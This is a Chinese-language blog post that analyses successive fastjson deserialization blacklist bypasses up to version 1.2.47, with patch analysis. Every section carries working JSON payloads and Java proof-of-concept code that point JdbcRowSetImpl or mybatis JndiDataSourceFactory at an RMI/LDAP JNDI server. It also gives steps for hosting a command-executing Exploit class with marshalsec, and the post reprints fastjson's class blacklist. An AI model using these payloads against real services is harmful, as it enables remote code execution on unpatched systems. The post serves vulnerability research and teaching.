文章目录
前言
在1.2.24爆出后官方进行了多次修复,然而修复后仍然不断有漏洞爆出
fastjson <=1.2.41
旧版本补丁更新分析
运行一下1.2.24的payload,ParserConfig.checkAutoType方法提示autoType不支持
在DefaultJSONParser.parseObject新调用了checkAutoType
checkAutoType加入了两个判断:
- autoTypeSupport配置用于判定是否开启任意类反序列化
- acceptList和denyList黑白名单用于检查该类是否能被反序列化
默认黑名单包括以下类/开头的类:
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
首先,第一次判断,如果开启了autoTypeSupport:先判断在白名单内就进行类加载、在黑名单内就报错
第二次判断,如果没有开启autoTypeSupport:先判断在黑名单内就报错、白名单内就进行类加载
第三次判断,如果开启了autoTypeSupport而且类不在黑白名单内的,再加载
往后看,类加载调用的是fastjson的loadClass,这里对带有描述符的类有特殊的处理:
- 以
[
开头的数组类,把[
去除再加载,例如[B
- 以
L;
包裹的引用类,把前后去除再加载,例如Ljava.Object.String;
payload
ldap同理
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://127.0.0.1/hacked",
"autoCommit":true
}
由于TemplatesImpl还需要开启Feature.SupportNonPublicField,不做分析
代码审计 | 原理分析
利用至少一层 L; 描述符包裹类名绕过黑名单
JdbcRowSet属于com.sun,被黑名单禁用了,并且我们无法得知白名单的内容默认白名单为空,关键点就在本次更新的autoTypeSupport和黑白名单验证机制。
前两次验证肯定进不去,只能寄希望在第三次验证上面,要保证autoTypeSupport开启否则就进入第二次验证抛出错误了。如果开启了autoTypeSupport就还要保证第一轮判断能通过,要构建一个不存在于黑名单上的类。
更新的loadClass在处理描述符类的时候,对数组、引用类并没有判断这个类究竟是否真的存在,只是通过字符串比较就直接截取loadClass了
那么只要把类用L;
包裹就能绕过第一轮黑名单判断、并且在loadClass的时候还会帮我们去除L;
完成加载,就完成了绕过。
而且和这里是递归调用,因此理论上可以套很多层L;
代码复现
编译Exploit类放到服务器上
import java.lang.Runtime;
public class Exploit{
static {
try {
System.out.println("rce");
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java
python -m http.server 80
开启marshalsec的rmi服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit 1099
运行复现代码:
package fastjson.Ver2u25to41;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Payload {
public static void main(String[] args) throws Exception {
String typeName = "Lcom.sun.rowset.JdbcRowSetImpl;";
String rmiURL = "rmi://127.0.0.1/hacked";
// String ldapURL = "ldap://127.0.0.1:389/hacked";
String payload1 = "{\"@type\":\""+ typeName +"\", \"dataSourceName\":\"" + rmiURL +"\", \"autoCommit\":true}\n";
// String payload2 = "{\"@type\":\""+ typeName +"\", \"dataSourceName\":\"" + ldapURL +"\", \"autoCommit\":true}\n";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(payload1);
// JSON.parseObject(payload2);
}
}
利用缺点
反序列化必须开启autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(str);
fastjson <=1.2.42
旧版本补丁更新分析
运行1.2.41的payload,看来又修改了过滤原则
其中,黑名单为了防止被识别,换成了hash字符串
黑名单分析
这里放一下其他师傅破解的黑名单
另外判断前进行了字符去除
先用debug看看checkAutoType新增的过滤:发现这里通过运算先过滤了一次L;
payload
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://127.0.0.1/hacked",
"autoCommit":true
}
代码审计 | 原理分析
利用至少两层 L; 描述符包裹类名绕过黑名单
既然过滤了一次L;
,那就双写绕过,后续loadClass是递归调用,那么用至少两层包裹都能绕过。
代码复现
package fastjson.Ver2u42;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Payload {
public static void main(String[] args) throws Exception {
String typeName = "LLcom.sun.rowset.JdbcRowSetImpl;;";
String rmiURL = "rmi://127.0.0.1/hacked";
String payload = "{\"@type\":\""+ typeName +"\", \"dataSourceName\":\"" + rmiURL +"\", \"autoCommit\":true}\n";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(payload);
}
}
利用缺点
反序列化必须开启autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(str);
fastjson <=1.2.43
旧版本补丁更新分析
运行1.2.42的payload,又被ban了
修改了对L;
的判断,这里修改为如果类名首尾以L;
包裹、并且两个LL开头就报错
看来官方是把这条路完全封死了
payload
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"rmi://127.0.0.1/hacked",
"autoCommit":true
}
代码审计 | 原理分析
类名前加 [ 描述符绕过黑名单
既然多个L;
无法绕过,还有数组形式[
的绕过
尝试只插入一个[
,在解析的时候语义解析出错了,提示逗号前面缺一个[
完善语法
根据语义提示补全,在逗号前面加一个[
,又提示44处缺一个{
,位置在dataSourceName属性的左双引号前面
代码复现
package fastjson.Ver2u43;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Payload {
public static void main(String[] args) throws Exception {
String typeName = "[com.sun.rowset.JdbcRowSetImpl";
String rmiURL = "rmi://127.0.0.1/hacked";
String payload = "{\"@type\":\""+ typeName +"\"[, {\"dataSourceName\":\"" + rmiURL +"\", \"autoCommit\":true}\n";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(payload);
JSON.parseObject(payload);
}
}
利用缺点
依旧需要开启autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(str);
fastjson <=1.2.45
旧版本补丁更新分析
1.2.44彻底把上述两种绕过ban了,只要[
开头全ban了
payload
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"rmi://127.0.0.1/hacked"
}
}
代码审计 | 原理分析
mybatis3 <=3.4.6 setProperties()触发jndi注入
手动调用JndiDataSourceFactory.setProperties()示例代码
package fastjson.Ver2u45;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
import java.util.Properties;
public class MybatisTest {
public static void main(String[] args) throws Exception {
JndiDataSourceFactory factory = new JndiDataSourceFactory();
Properties properties = new Properties();
properties.setProperty("data_source", "rmi://127.0.0.1/hacked");
factory.setProperties(properties);
}
}
mybatis未被列入黑名单可以利用
恰好这个方法是setter方法,能被fastjson调用,而且参考黑名单发现这个类没有被ban,就用这个类完成jndi注入
代码复现
package fastjson.Ver2u45;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Payload {
public static void main(String[] args) throws Exception {
String typeName = "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory";
String rmiURL = "rmi://127.0.0.1/hacked";
String payload = "{\"@type\":\""+ typeName +"\", \"properties\":{\"data_source\":\""+ rmiURL +"\"}}\n";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(payload);
}
}
利用缺点
- 需要mybatis3 <=3.4.6
- 依旧需要开启autoTypeSupport
fastjson <= 1.2.47 通杀
旧版本补丁更新分析
mybatis在1.2.46也被ban了,因此上面的方法都不行了
payload
1.2.25-1.2.32:autoTypeSupport关闭
1.2.33-1.2.47:autoTypeSupport任意
{
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1/hacked",
"autoCommit": true
}
}
代码审计 | 通杀原理分析
@type是Class类时会加载val对应的类并写入缓存
- 关闭了autoTypeSupport肯定进不去白名单查找,又由于Mapping为空就进入findClass
- 开启了autoTypeSupport在白名单也找不到Class类(默认白名单为空),也会最终进入findClass
IdentifyHashMap存了很多基础类,匹配到直接返回
然后checkAutoType也就返回了
checkAutoType返回后DefaultJSONParser继续运行,来到deserialize继续进行解析
进入了MiscCodec.deserialize,这里从val参数获取了值
传给了strVal
往下走,如果@type是Class类,那么就会调用TypeUtils.loadClass加载val参数对应的类
默认缓存开启,首先去缓存中查找,首次加载肯定找不到,就来到之后else,在里面完成了类加载并且写入了缓存
因此我们可以首先把JdbcRowSetImpl加载到缓存中,这样根本不会经过黑名单验证
关闭autoTypeSupport加载类会先去缓存Map中查找
如果缓存Map有JdbcRowSetImpl类,那么checkAutoType就会直接返回
因此首先加载Class、再加载JdbcRowSetImpl就完成了绕过,这里就采用了两层JSON嵌套
代码复现
autoTypeSupport可开可不开
package fastjson.Ver2u47;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Payload {
public static void main(String[] args) throws Exception {
String typeName = "com.sun.rowset.JdbcRowSetImpl";
String className = "java.lang.Class";
String rmiURL = "rmi://127.0.0.1/hacked";
String payload = "{{\"@type\": \""+ className +"\", \"val\": \""+ typeName +"\"}, {\"@type\": \""+ typeName +"\", \"dataSourceName\": \"" + rmiURL +"\", \"autoCommit\": true}}\n";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(payload);
JSON.parseObject(payload);
}
}
利用优点
通杀,无视autoTypeSupport,默认autoTypeSupport是关闭的
1.2.25-1.2.32:autoTypeSupport关闭
1.2.33-1.2.47:autoTypeSupport任意
参考
https://www.freebuf.com/vuls/276812.html
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123364720
版权声明:本文为原创,转载时须注明出处及本声明